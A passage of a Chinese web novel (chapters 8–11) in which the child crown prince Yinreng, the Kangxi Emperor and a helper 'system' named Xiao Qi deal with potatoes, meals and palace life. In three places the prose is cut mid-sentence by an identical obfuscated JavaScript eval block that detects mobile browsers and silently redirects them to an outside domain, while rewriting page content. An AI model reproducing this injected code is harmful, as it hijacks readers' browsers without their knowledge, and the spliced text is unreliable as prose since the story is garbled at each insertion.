他犹豫了一下，手指在空中停了停，终究没敢直接上手。 胤礽撇了撇嘴，心想：这么脏，孤才不要碰呢。 一个小太监瞧出了太子殿下的心思，机灵地捧起一块泥土块，双手小心翼翼地抖落外层的泥土，露出里头黄褐色的表皮。 他用袖子擦了擦，恭敬地递到胤礽面前：“太子殿下，您瞧，这就是块茎的模样。” 胤礽接过来，可他手小，拿不稳块茎，“啪嗒”一声滚落在地，又沾了圈新泥 "哎呀！" 胤礽脸上闪过一丝懊恼，赶紧低头去看那块茎，生怕它摔坏了。 苏麻喇姑见状，安慰道：“没事儿，太子爷小心些便是。” 胤礽却没理会她的安慰，脑子里还在想着小七说的“能吃”。 他学着康熙平时训话的样子，背着小手说：“你们把这些泥土块送去御膳房，让他们做成菜，孤中午要吃这个。” 小太监们都傻了，你看我我看你，脸上满是为难，谁也没敢吱声。 胤礽见他们不动，皱起小眉头，语气里带了几分不耐烦：“怎么了？” 还是那个机灵的小太监硬着头皮上前，低声道：“太子爷，这东西来路不明，也不知有没有毒，怎能直接做成菜给您吃呢？奴才们担心……” 他低着头，额上渗出细汗，生怕惹恼了小主子。 胤礽一呆，顿时有点尴尬。 他光顾着听小七的话，倒是忘了这一茬。 万一这东西真有毒，他岂不是要吃坏肚子？可他堂堂太子，哪能承认自己没想周全？ 胤礽眼珠子一转，很快有了主意，指着刚刚捧块茎给他的那个小太监，仰起头道：“你，出来。” 小太监愣了一下，赶紧上前，跪下道：“奴才在！” “你叫什么名字？”胤礽双手背在身后，努力摆出一副威严的模样，可那圆乎乎的小脸怎么看都带着几分可爱。 “回太子殿下，奴才叫高三变。”小太监低着头，声音里带着点紧张。 胤礽点点头，煞有介事地说：“好，高三变，你替孤去试吃。吃完后到东暖阁来找孤，告诉孤味道如何。” 高三变一听，顿时狂喜，眼睛都亮了起来。 这可是太子殿下亲自指派的差事！办好了说不定能离太子近些！ 他忙不迭地磕头：“是！奴才一定办好这件事！” 高三变捧着那块土豆，激动得手都微微发抖，仿佛捧着的不是泥土块，而是金光闪闪的宝贝。 正说着，胤礽忽觉身体一轻，整个人腾空而起。 “啊！” 他惊呼一声，小短腿在空中扑腾了两下，一回头，撞进一双熟悉的含笑眼眸里。 "哟，我们保成在这儿发号施令呢？" 身旁的苏麻喇姑不知何时不见了，抱着他的人，正是康熙。 康熙嘴角微微上扬，忍不住蹭了蹭儿子的小脸蛋。 胤礽被他胡茬扎得痒痒的，咯咯直笑，推着康熙的脸喊道：“阿玛，扎！” 可康熙哪管这些，抱着儿子又蹭了两下，笑得越发开心。 胤礽不断往后躲：“阿玛！好痒！哈哈哈！” “保成的脸蛋软，阿玛就想蹭蹭。”说着，他鼻尖还蹭小家伙的小耳朵。 胤礽抵抗不过，索性趁机把刚刚摸了泥土块的小手往康熙的龙袍上抹。 他偷眼瞧康熙，见阿玛只顾着笑，没发现这小动作，赶紧把小手藏到身后，心里偷偷乐。 跟在康熙身后的梁九功看得真切，眼睁睁看着皇帝龙袍上多了两个黑乎乎的小手印。 他嘴角抽了抽，愣是没敢吱声，只能盯着地面默念：没看见，奴才啥都没看见。 康熙逗够了儿子，才用指腹轻轻擦去胤礽眼角笑出来的泪，指尖触到孩子软乎乎的脸颊，又忍不住捏了捏： “这么大人了，还怕胡子扎？” 嘴上这么说，却还是往后退了退，不再用胡茬蹭他，转而低头扫了眼地上的块茎，挑了挑眉：“嗯？这不是土豆吗？” 胤礽眼睛一亮，惊讶道：“阿玛，你知道这个东西？” "自然，"康熙得意地扬扬下巴，"朕什么不知道？" “哇，阿玛好厉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16553981|186846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 害！”胤礽拍着小手，崇拜之情溢于言表。 康熙被夸得心情更好，刚想再说，就听见胤礽追问：“那阿玛知道这东西怎么吃吗？” 怎么吃？康熙的笑顿了顿，顿时被问住了。 他堂堂大清皇帝，熟读四书五经，通晓天下大事，他是在在这西洋书里见过土豆的样儿，可这土豆怎么吃……他还真没想过！ 康熙轻咳一声，掩饰住片刻的尴尬，转移话题道：“你刚刚就是在弄这个东西？” 他抱着儿子转了个身，眼神扫向那些小太监。 胤礽点点头：“是呀，他们说这个可以吃，孤就想试试。” 他刚想说是小七告诉自己的，又想起小七说不能告诉别人它的存在，脑子一转，随手把锅甩给了高三变，“是高三变说的，他说这东西能做菜。” 高三变心里一紧，偷偷抹汗，太子爷把话头抛给自己了，可他也不知道能不能吃啊！ 可他哪敢反驳，只能硬着头皮应道：“回万岁爷，是奴才跟太子说的，瞧着这东西圆滚滚的，想着或许能吃。” 他继续补充：“太子爷就让奴才把这几个东西送去御膳房试试。” 康熙闻言，点了点头，漫不经心道：“既然是太子让你们做的，那就去弄吧。” 他对此倒没太在意，只当是儿子好奇心重，想图个新鲜。 说罢，康熙抱着胤礽往东暖阁走去。 满人虽有 “抱孙不抱子” 的规矩，可对着疼爱的太子，康熙哪顾得上，只觉得怀里的小家伙软乎乎的，抱着正好。 胤礽被抱在怀里，小脸微微发红。 这是在外面呢。在乾清宫抱抱也就罢了，外面这么多人看着，他多没面子呀！ 他扭了扭身子，小声喊道：“阿玛，这是在外面…… 别人都看着呢！” “怎么了，保成这是不想阿玛抱了？”康熙故意逗他，作势要放下。 胤礽一急，赶紧揪住康熙的衣襟，红着耳朵摇头：“不是！” 小家伙把脑袋往康熙怀里缩，还圈住他的脖子，“阿玛抱得稳，保成才不要自己走！” 他心里害羞得要命，可一想到能和阿玛贴贴，又觉得开心得不得了。 算了，面子什么的，先放一边吧！ 康熙看着胤礽羞红的耳朵，哈哈一笑，心情越发愉悦。 他低头在小东西额头上亲了口：“阿玛的儿子，想怎么抱就怎么抱。” 康熙声音温柔，带着无限宠爱。 两人就这样一路笑着往前走，身后跟着一群低头不敢多看的宫人。 另一边，高三变捧着那几个精贵的土豆，一路小跑来到御膳房。 他一边跑一边嘀咕：这东西真能吃吗？可这又是太子爷交给他的第一件差事...... 到了御膳房，他郑重其事地把土豆往桌上一放，重复了一遍胤礽的吩咐。 御膳房总管看着这几个泥疙瘩，愁得直挠头。 总管拿着土豆翻来覆去看，还凑到鼻子底下闻：“这东西…… 咱活了五十多年，也没见过啊！没皮没籽的，咋做菜？” 高三变急得搓手：“总管大人，这可是太子的吩咐，做不出来咱们都得挨罚。您可得想个法子。” 两人大眼瞪小眼，最后总管一拍大腿："不管了，先洗干净煮熟了尝尝再说。" 他卷起袖子，脸上露出豁出去的表情。 9. 第 9 章 等父子二人回到乾清宫的时候，日头尚早，离正午还差些时辰。 康熙抱着胤礽迈进殿门，一股凉丝丝的穿堂风迎面扑来，顷刻间便将一路走来的燥热拂去了大半。 他抬眼瞧了瞧殿内的西洋钟，转头吩咐梁九功：“再过两刻钟传膳。” 候在门口的梁九功躬身应了声 “嗻”，利落地往后厨去了。 康熙把怀里的小人儿轻轻放下，拍了拍他的小肩膀，指着御案前的空地：“来，保成，站稳了。” 胤礽“啪嗒”一声站定，小身板挺得像棵小青松，应道：“是，阿玛。” 康熙走到御案前提笔挥毫，在宣纸上落下四个遒劲大字——宁静致远。 待墨迹干透，他将纸递到胤礽面前，语气温和却不容商量：“时辰尚早，保成去把这四个字各写五张，写完了拿给朕看看。” 胤礽接过纸，瞅了眼上头的字，又点点头，脆生生地应了声：“好的，阿玛。” 说完，他“噔噔噔”地跑到自己专属的小书桌前。 那张小桌子是康熙特意命人安置在御案旁边的，尺寸正适合胤礽的身量，桌腿裹着绒布防他磕着。 桌上还摆着个小小的砚台和一摞裁好的宣纸。 父子两人一大一小并排而坐，倒有几分有趣。 胤礽把纸铺好，握着内务府专门做的毛笔，心里却没想着跟阿玛撒娇耍赖。 康熙对他的功课一向抓得紧，上次他写漏了一张大字，康熙虽没骂他，却陪着他一起重写了十遍。 想到这儿，胤礽更用力地攥了攥笔杆，蘸墨时，还特意学着康熙平日的样子，小心翼翼地在砚边刮去多余的墨汁，试图理出个笔锋来。 康熙坐在御案后，翻开一本奏折，余光却不时扫向胤礽。见小家伙低着头，抓笔的姿势虽仍显稚嫩，但一笔一画倒也认真。 康熙给的这几个字不算难，胤礽照着样子写了第一个 “宁” 字，笔锋虽软，却也把横画写得平平整整。 刚写完最后一笔，他突然想起什么，抬头朝着御案方向喊：“阿玛，咱们中午还是吃御膳房的东西吗？” 他皱了皱小鼻子，语气里是掩不住的嫌弃：“那些菜老是温吞吞的，一点都不香。” 御膳房的东西虽精致，可总是提前备好的，端上来时多半凉了，味道也少了些鲜活。 胤礽私心更喜欢乾清宫小厨房做的菜，热腾腾地端上来，香得让人直咽口水。 康熙从奏折里抬起头，瞥了他一眼，语气淡淡却带着点揶揄：“怎么，又馋小厨房的菜了？” 他放下朱笔，摇了摇头，“不吃御膳房的，今天咱们开小灶。” 胤礽脸上绽开个大大的笑：“好耶！” 可还没等他高兴完，康熙已敛了笑意，语气转沉：“写字的时候要专心，别毛毛躁躁的。太子爷心思若全飞去了菜盘子里，这字还能看吗？” “哦……” 胤礽赶紧收了笑，乖乖埋下头，不敢再分神。 五张大字其实不算多，胤礽专心写起来，不过一刻钟就写完了。 他把纸一张张叠好，捧着跑到康熙面前，献宝似的递上去：“阿玛，保成写好了，您瞧瞧。” 康熙接过纸，一张张仔细看。 胤礽的字还带着孩子气的软嫩，但架构工整，横平竖直，瞧着已有了些模样，比上次进步了不少。 他满意地点点头，夸道：“嗯，尚可。” 待翻到最后一张，他目光忽地一顿，瞥见宣纸右下角有一小团模糊的墨印，像是被谁不小心蹭上去的。 康熙挑了挑眉，再低头一看，胤礽那双小手上沾满了墨汁，黑乎乎地像个小花猫的爪子。 他不由得失笑，语气里满是揶揄：“保成，你这字是写得不错，可怎么还把墨水抹手上了？” 胤礽低头瞧见自己乌糟糟的手，小脸瞬间涨红：“儿臣、儿臣没留意……” 康熙无奈摇头，唤来宫女带他下去清洗，特意嘱咐：“用温皂角水，仔细些，别蹭疼了太子爷的手。” 待胤礽的身影消失在门口，梁九功捧着干净的常服凑上前来，低声道：“万岁爷，奴才伺候您更衣吧。” 康熙“嗯”了一声，抬手让他解朝服的玉带。梁九功动作麻利，脱下朝服后，却下意识地想将衣服往身后藏。 不料康熙眼尖，先他一步瞥见了衣襟上几个小小的黑手印。 康熙眸光一凝，眯眼看向梁九功：“这是怎么回事？朕的朝服上，何时多了这些印记？” 梁九功硬着头皮笑：“这……奴才不知啊。” 他一边说，一边偷瞄康熙的脸色。 康熙哼了一声，立时想起刚刚在太皇太后那边抱着胤礽看土豆的时候，这小东西似乎把什么抹在了他身上。 他心下明了，却不动声色，只吩咐道：“去告诉小厨房，多做几道素菜，太子爱吃清淡的。” 他顿了顿，又瞥了眼手中捧着那件遭了殃的朝服的梁九功，似笑非笑地补了一句：“至于你，御前失察，这月的月钱没了。” “哎，奴才遵旨。”梁九功苦着脸应了，抱着朝服退下去。 胤礽洗净手回来时，偏殿里已是香气弥漫。他迫不及待地坐到自己的小凳上，可定睛一看，满心的期待瞬间垮塌。 自己面前摆的清一色是素菜：清炒豆苗，白玉豆腐，山药炒木耳，还有一盅看着就清汤寡水的冬瓜汤。 胤礽眨巴眨巴眼，抬头再看康熙那边，油亮诱人的红烧鹿肉 ，造型别致的八宝葫芦鸭，汤色醇厚的人参乌鸡汤，连那清蒸鱼都散发着让人垂涎的香气。 这鲜明的对比，让小家伙心里顿时不平衡起来。 康熙端坐在主位，凤眸微垂，姿态优雅地夹起一块鸭肉，放到嘴里细细品尝。 胤礽盯着那块肉，眼神里满是不甘。 可恶，他也好想吃啊啊啊！ 小家伙正腹诽着，面前的碗里突然多了一勺白嫩的豆腐。 “保成，怎么不动筷？”康熙语气温和，眼底却藏着戏谑，“这豆腐嫩滑，你往常不是最爱吃这个了？” 胤礽瞥了他一眼，不情不愿地把豆腐塞进嘴里嚼了两下，然后咽下去。 味道倒是不错，软糯清香，可就是少了点……肉味。 他刚想伸筷子去够那盘离得最近的八宝葫芦鸭，筷尖还没碰到盘子，康熙又一筷子山药稳稳落在他碗里。 康熙语气带着点故意的温柔：“这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16553982|186846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 山药新鲜，阿玛特地叫人给你做的。” 胤礽：“……” 他瞄了康熙一眼，见皇帝正慢悠悠地夹了块鹿肉，送到嘴边，咀嚼时还发出一声满足的轻叹。 他咬咬牙，小手一伸，筷子直奔康熙盘子里的鹿肉而去。 他就不信抢不到一块！ 可胤礽筷子刚伸到一半，康熙的筷子却快如闪电，“啪”地一下截胡，转而夹了一大簇碧绿的豆苗放到他碗里。 康熙笑眯眯道：“豆苗清热，保成多吃点。” 胤礽：…… 豆苗软趴趴地躺在碗里，胤礽盯着它，眼里的小火苗蹭蹭往上冒。 他气得小脸鼓成包子，瞪着康熙，眼神里全是控诉。 康熙视而不见自家太子哀怨的小眼神。 胤礽鼓着腮帮子转了转眼珠，忽然有了主意。 他立刻换上甜甜的笑容，站起身伸长胳膊，吃力地用自己的小筷子给康熙夹菜：“阿玛，你也吃！这山药可好吃了！” 说着，他手下不停，木耳、豆腐、冬瓜，像是搬山似的往康熙碗里堆。 胤礽在心里暗暗得意：哼，夹菜是吧？看你还怎么给孤夹！ 他一边夹菜，一边偷瞄康熙的反应，见皇帝碗里的菜越堆越高，小脸上露出几分狡黠的笑意。 康熙看着碗里堆成小山的素菜，凤眸微眯，眼底笑意更深。 他从容地夹起一块胤礽送来的山药，放到嘴里嚼了嚼，点头道：“嗯，味道不错。保成有心了。” 可他话音刚落，手却毫不客气地伸向那盅人参乌鸡汤，精准地夹起胤礽觊觎已久的那块鸡腿肉，悠哉悠哉得送到自己嘴边，像是故意在小太子面前炫耀。 胤礽的筷子僵在半空，眼睁睁看着那块肉消失在康熙嘴里，积攒的委屈和不满瞬间爆发。 阿玛这分明是欺负人，孤又不是小兔子，凭什么只能吃素！ “啪！” 他把筷子往桌上一放，小胸膛气得一起一伏，扭过头气哼哼地道：“儿臣吃饱了！不吃了！” 康熙筷子一顿，看着儿子气成包子的侧脸，确认道：“真不吃了？这八宝鸭可还没动几口呢。” “真不吃了！”小太子重重点头，语气斩钉截铁，然后利索地滑下凳子。 康熙眼中闪过一抹笑意，故意提高声音：“那这些菜朕可就赏给梁九功了。” 胤礽脚步一顿，回头瞪了康熙一眼，小下巴扬得高高的，像是下了很大决心：“不吃就不吃！孤说到做到！” 他头也不回地往内殿走，只留下一句：“孤要去睡觉了！” 回到内殿，胤礽爬上床，抱着被子往里一滚，肚子却不争气地“咕咕”叫了两声。 胤礽摸着扁扁的小肚子，瘪着嘴，委屈得鼻尖发酸。 呜呜呜，他还是好饿…… 阿玛好坏，尽给他吃素菜！ 他翻了个身，盯着床顶的雕花发呆，脑子里全是那盘八宝葫芦鸭的香气，恨不得立刻冲回去抢一块来吃。 可一想到康熙那似笑非笑的摸样，他又气呼呼地拉高被子，把自己裹成一团。 他要让阿玛知道，小孩也不是好欺负的！就算肚子饿得咕咕叫，他也绝不低头！ 10. 第 10 章 被窝里闷闷的，胤礽觉得无聊，干脆在心里默念了一声“小七”，唤出脑中的系统。 小七的声音立刻在脑海中响起。 【宝宝，怎么了？】 胤礽撇撇嘴，小手在被窝里捏了捏被角，他哼哼唧唧地抱怨道：“小七，你说阿玛是不是很坏？午膳的时候只给孤吃素菜，他自己却吃大鱼大肉。” 小七顿了顿，似乎在处理这个“投诉”。 【多吃素菜对宝宝的身体好，能补充维生素，帮助长高高哦。】 胤礽闻言，小眉头一皱，翻了个白眼，虽然在被窝里没人看得见。 他不服气道：“那也不能全给孤吃素菜呀！孤又不是真的兔子，得荤素结合才行！” 他顿了顿，又补充道，“阿玛明明知道孤爱吃肉，还故意逗孤，哼，偏心！” 小七立马倒戈：【……宝宝说得对，应当荤素结合。这样看，宝宝的阿玛确实有点不合格呢。】 这话倒让胤礽不乐意了。 他忙坐起身，小手拍了拍枕头，随即瞪着虚空，像是瞪着小七似的，护短地反驳：“小七，不许说阿玛的坏话。阿玛虽然有时候坏坏的，但他可是天底下最好的阿玛！” 说完，他自己先脸红了，觉得自己这话说得有点肉麻，可心里却甜滋滋的：对，阿玛再坏，也比别人好一百倍！ 【......】 小七沉默了，像是被这小太子的双标噎住了。 过了一会儿，它才切换话题：【宝宝别生气了，我们来看看积分吧？】 胤礽委屈瞬间抛到脑后，巴巴的问：“孤的积分有多少啦？” 【目前积分是7分。】小七迅速报数。 胤礽的小脸顿时垮了下来，哀叹道：“啊？才7分啊，怎么这么少。” 但随即他又追问道：“小七，那个叫土豆的东西怎么吃呀？孤觉得它长得圆圆的，肯定好玩！” 土豆是小七告诉他的，那说明小七知道这是什么东西。 小七的回应有点无奈：【宝宝的积分没到，我不能说哦。】 它顿了顿，又补充，【不过商城里确实有土豆，等宝宝积分到了就能解锁土豆的做法，还能兑换改良版种子。】 胤礽：“那解锁要多少分？孤还差多少？” 【目前积分 7 分，解锁需要 70 分，还差 63 分。】 “什么？！” 胤礽吓得差点从床上跳起来，幸好记得自己是要睡觉才把宫人都赶出去了。 他忙捂住嘴压低声音：“要 70分？那得等到什么时候啊？” 他掰着胖乎乎的手指头数：“7分，17分，27分……” 数到37分就乱了，“孤数不清了，要好久好久吧？” 【宝宝别灰心，根据宝宝的学习进度评估，其实 7 分已经是很快的进度了。】小七试图安慰。 【是小七不好，小七会帮宝宝把基础教学提上来的，接下来小七会调整计划，帮宝宝更快攒积分的。】 胤礽闻言，立马来了精神。 他点点头，眼睛里闪着期待的光芒：“那我们什么时候开始学？现在么?” 小家伙现在满脑子都是土豆。 【宝宝下午不是还要去看二格格和小阿哥吗?】小七提醒道。 “对哦，孤答应了二姐姐要去找她来着。” 胤礽拍了下脑袋。 【那我们睡前学习怎么样？宝宝学得快，一会儿就结束了。】 胤礽刚想点头，突然想起睡前是他看动画片的时间，忙追问：“那会影响孤看动画片吗？孤每天睡前都要看一集的。” 【不会的宝宝，小七会帮你合理规划时间，咱们先学习，再看动画片，保证不耽误。】 胤礽这才满意地点点头，抱着被子在床上滚了一圈，开心得小腿乱蹬。 太好了，又能学东西又能看动画片。 他刚想再和小七聊点什么，问它关于土豆的一些事情。 外间便传来了沉稳的脚步声，伴随着宫女太监们低低的请安声。 是阿玛来了。 胤礽闭上眼睛，顺势把锦被拉高，蒙住了大半个脑袋，屏住呼吸努力装出熟睡的样子。 随着门外熟悉的脚步声渐近，胤礽心跳不由得加快。 康熙走进内殿，一眼便瞧见床上那鼓鼓的小包，像是只蜷缩的小猫崽。 他轻笑一声，缓步走近，俯身拉下被子。 被子一掀，胤礽紧闭的双眼暴露无遗，长长的睫毛正不住地颤抖。 这小东西，装得倒挺像回事。 康熙心下暗笑，却不动声色在床边坐下，俯身轻声唤道：“保成？保成？” 见床上的小身影没动静，他眼中笑意更深，冲身后的梁九功使了个眼色。 梁九功心领神会，端上来一碗热腾腾的粥，碗沿还冒着白汽，粥面上点缀着几粒碧绿的葱花，散发着诱人的香气。 康熙接过碗，握在手里试了试温度，确认不烫后，用小银勺轻轻搅了搅，故意叹道：“哎呀，这粥闻着可真香。” 胤礽躺在被子里，鼻子早就被那股鲜香勾得直发痒。 他早上就没吃多少，中午又只吃了点素菜，现在闻到粥香，他肚子叫得更欢了。 可他还记得自己在生气，咬着牙告诉自己不能妥协。 可那香气实在太勾人，他忍不住偷偷睁开一条眼缝，瞄向康熙手里的碗。 康熙余光瞥到那条眼缝，差点笑出声，却故意板着脸，问梁九功：“梁九功，这粥是怎么熬的？朕瞧着比往常的更稠些。” 梁九功哪能看不出万岁爷是在逗太子，顺着话头笑道：“回万岁爷，这粥是小厨房特意用砂锅慢炖的，先把老母鸡炖出浓汤，再下粳米熬到开花，最后才放鸡丝和香菇丁，火侯拿捏得正好，所以才这么稠厚鲜香。” 胤礽的眼缝睁得更大了。 鸡丝？香菇丁？听起来就很好吃！ 可他还是硬撑着，闭紧眼睛，装作没听见。 “哦？原来是这样。” 康熙不打算放过他，又故作惋惜地叹道，“这么好的粥，可惜没人喝。梁九功，这碗粥赏你了。” 梁九功赶紧躬身：“奴才谢万岁爷恩典！” 这话彻底让胤礽憋不住了，他 “哗啦” 一下掀开被子，坐起身瞪着康熙，大声道：“不许给！这粥不能给梁谙达！” 康熙挑眉，似笑非笑地看着他：“哟，太子殿下不装睡了？” “孤才没装睡，” 胤礽梗着脖子反驳，“孤只是闭着眼睛休息。” “原来如此，”康熙故意端着碗晃了晃，粥香更浓地飘散开来，“可惜太子爷起来晚了，这粥已经朕赏给梁九功了。” “君无戏言，朕总不能收回成命吧？” 胤礽脑子转得飞快，很快就想到了理由：“梁谙达刚刚在外面已经陪阿玛用了午膳，现在肯定吃不下。” 他指着梁九功，语气笃定， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16553983|186846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “要是给了梁谙达，他吃不完，肯定会偷偷倒掉。” 梁九功：“……” 万岁爷御赐的粥，谁敢倒啊！ 胤礽却不管这些，小手拍了拍自己的小肚子，理直气壮地说：“阿玛不是总说‘谁知盘中餐，粒粒皆辛苦’吗？为了不浪费粮食，这碗粥应该给保成才对。保成没吃饱，肯定不会倒。” 康熙闻言，凤眸里闪过一丝惊喜。 这小东西才几岁，居然能把之前教他的诗句用得这么恰当，倒真是个机灵的。 他本就是特意让小厨房熬了粥来哄胤礽的，见儿子给自己找了台阶，便顺着坡下驴，把粥碗递到他面前： “既然太子殿下都这么说了，那朕就也不好当这个浪费粮食的恶人。” 他伸手揉了揉胤礽的头发，“乖乖坐好，阿玛喂你。” 鸡丝的鲜、香菇的香混着米粥的软糯，瞬间填满了小东西空荡荡的肚子。 一碗粥很快见了底，胤礽正想赖在康熙怀里撒娇，就见康熙从身后拿出一块叠得整齐的明黄色布料。 胤礽脱口而出：“嗯？这不是……”随即又意识到什么，他捂住了自己的嘴巴。 眼前的正是早上被他弄脏了的朝服。 “太子爷，还记得这个吗？” 康熙把朝服递到他面前，语气带着点调侃。 胤礽眼神飘忽不定，看东看西，就是不敢看康熙。 胤礽摇头，不知道，他什么都不知道。 康熙故意板起脸：“太子爷是想顾左右而言他？” 见躲不过去，胤礽干脆扑过去，搂着康熙的胳膊摇了摇，声音里满是讨好：“阿玛～保成知道错了嘛…… 下次再也不把土蹭到阿玛衣服上了……” 他把头埋在康熙胳膊上，声音越来越低，“而且…… 保成困了，阿玛，我们一起睡午觉好不好？” 康熙被他晃得没脾气，伸手刮了下他的鼻子：“太子这撒娇倒是越发熟练了。” 话虽这么说，康熙却还是顺着他的意，躺到床上，任由胤礽抱着他的胳膊。 “睡吧，朕在这儿陪着你。” 胤礽饱饱得睡了个午觉，刚伸个懒腰，便见陈嬷嬷端着个朱漆描金的匣子走上前来。 陈嬷嬷：“殿下醒得正好，这是太皇太后刚差人送来的，您看收在哪儿合适？” 胤礽看了眼匣子，那里头是上午太皇太后给他的珍珠佛串。 颗颗圆润，盈盈发光。 胤礽想了想：“先收到孤的私库去吧。” 陈嬷嬷应了声，乐呵呵得退下。 每次他收到了什么东西，都是这么处置的。虽说从没亲自去清点过，但想来应该堆了不少好东西。 好东西嘛，胤礽从来不嫌多。 小太子想到自己私库里的宝贝，眉眼弯弯。 他晃着脚坐在软椅上，等陈嬷嬷回来。 虽然他是很想自己先去钟粹宫，但是他太小啦，走过去要好久。 门外忽然传来宫人的低声禀报，说外头有个小太监求见。 胤礽脸上闪过一丝诧异，眼睛眯起来，颇有几分康熙的摸样。 宫人见他疑惑，赶忙补了句：“回殿下，他说……是奉了您的命来的。” 奉他的命？ 胤礽先是一愣，随即小手“啪”地拍在自己大腿上。 他想起来了，来的怕是他之前吩咐去研究土豆的那个小太监。 这么快就研究好了？ 11. 第 11 章 胤礽摆摆手：“把人叫进来吧。” 不多时 ，高三变就被宫人们引着进来，跪在地上。 他抬眸扫去，目光落在对方手里捧着的白瓷碗上，立刻皱起眉头。 里面盛着一团白乎乎、黏糊糊的东西，看上去像是被人随手捣烂的什么玩意儿。 胤礽的眼神里透着三分嫌弃、七分好奇。 “这是什么？看着跟浆糊似的。” 高三变：“回太子爷，这是方才那土豆，奴才让御膳房的人蒸熟了，剥了皮细细捣成的。” 他说着，还不忘补充一句，“奴才已经尝过了，口感绵密，尚可入口。” 胤礽一听“尚可入口”，狐疑地瞥了一眼高三变。 就在这时，脑海里响起清脆的小七音：【恭喜宝宝解锁了土豆的一种吃法，这个是土豆泥。】 土豆泥？ 胤礽在心里默念着这个名字，觉得和眼前这糊糊的模样十分贴切。 他犹豫地用小银勺拨弄了一下，没急着下嘴。 刚刚那碗鸡丝粥下肚，他现在还撑得很，没多少胃口。可这土豆泥又是小七担保过的，他多少得给点面子。 小家伙现在非常信任小七，只比信任康熙再少一点点。 思忖片刻，胤礽放下勺子，有了主意。 他抬了抬下巴：“高三变，你把这土豆泥带着，随孤走一趟钟粹宫。” 他顿了顿，又补充道，“路上你时不时尝一口，孤得瞧瞧这东西到底安不安全。” 高三变连忙应下，捧着食盒，跟在陈嬷嬷身后，战战兢兢地出了门。 前往钟粹宫的路上，胤礽特意让陈嬷嬷放慢脚步，暗中观察高三变的神色。 见他每尝一口土豆泥都面色如常，胤礽这才稍稍安心。不多时几人便到了钟粹宫。 荣嫔迎出来，笑容温婉：“太子殿下来了，快请进。胤祉刚醒没多久，荣宪正在里头陪着他玩呢。” 胤礽很有礼貌：“多谢荣嫔娘娘”。 “殿下您客气了，” 荣嫔笑着侧身让开，“那本宫就不打扰你们姐弟几人相处了，殿下自便。” 说罢便引着宫人退到了偏殿。 胤礽把高三变和陈嬷嬷留在了殿外，自己进了内殿。刚一踏进去，两道目光就齐刷刷落在了他身上。 荣宪正坐在榻边，手里晃着个拨浪鼓，逗得襁褓里的胤祉咯咯笑。 见胤礽进来，荣宪手一顿，拨浪鼓停在半空。 她惊喜中带着点不敢置信：“太子弟弟，你真来了？我还以为……” 荣宪说到这里，有些不好意思地抿嘴笑了笑。 “二姐姐以为什么？”胤礽走过去，好奇地问。 “还以为你不会来呢。”荣宪小声说道，脸颊微微泛红。 其实不能怪荣宪这么想，她与胤礽其实接触不多。昨天拉着他玩也是心血来潮，属实没想到胤礽真会应了她的要求，今日再来钟粹宫与她玩。 胤礽一脸正色：“孤答应了二姐姐的事，自然说到做到，怎么会忘？” 他话音刚落，就听到榻上传来一阵 “啊啊” 的叫声。 旁边裹在棉被里的胤祉不乐意了。 这小家伙白白胖胖，见姐姐的注意力全被胤礽抢走，顿时啊啊啊地挥着小手，试图引起注意。 胤礽凑近瞧他，他却扭过头，用后脑勺对着这位太子哥哥。 “他这是认生，”荣宪连忙解释，“刚开始我来的时候，他也不搭理我，后来我天天来陪他玩，他才肯跟我亲近。” “太子弟弟你试试这个，”她拿起拨浪鼓塞到胤礽手里,“这是胤祉最喜欢的玩具，一摇就笑。” 胤礽接过拨浪鼓，半信半疑地晃了两下。 胤祉的注意力立马被吸引过来，眼睛直勾勾地盯着拨浪鼓。 胤礽看着胤祉笑得口水都快流出来了，心下好笑：还真是个好哄的小傻子。 趁胤祉被玩具吸引，荣宪的目光落在了殿外高三变手里的食盒上 她凑近胤礽，小声问：“太子弟弟，那里面装着什么？” 荣宪眼神里充满了探究欲。 “没什么，就是御膳房新研究的一道菜，用土豆做的，一会儿正好尝尝味道。” 胤礽随口答道，心里还在想着一会儿让高三变再试吃几次，确保安全。 “吃食？”荣宪一听更来了兴致，“我想尝尝！” “啊？” 胤礽愣了一下，没想到荣宪这么心急。 可看着她期待的眼神，又不好拒绝，只好朝着殿外喊了一声：“高三变，进来。” 高三变连忙捧着食盒走进来，将土豆泥端了出来。 胤礽示意他先尝，高三变拿起勺子舀了一口，却半天说不出个所以然来。 荣宪性子本就急躁，见他说不明白，索性拿过新碗，自己挖了一大勺送进嘴里，动作快得胤礽都没反应过来。 胤礽都看傻了，他一直以为二姐姐是个文静的姑娘，没想到还有这么爽朗的一面。 荣宪嚼了两口，皱着眉点评：“味道还行，就是有点淡，没啥滋味。” 她说着，舔了舔嘴唇，完全没在意一旁胤礽目瞪口呆的表情。 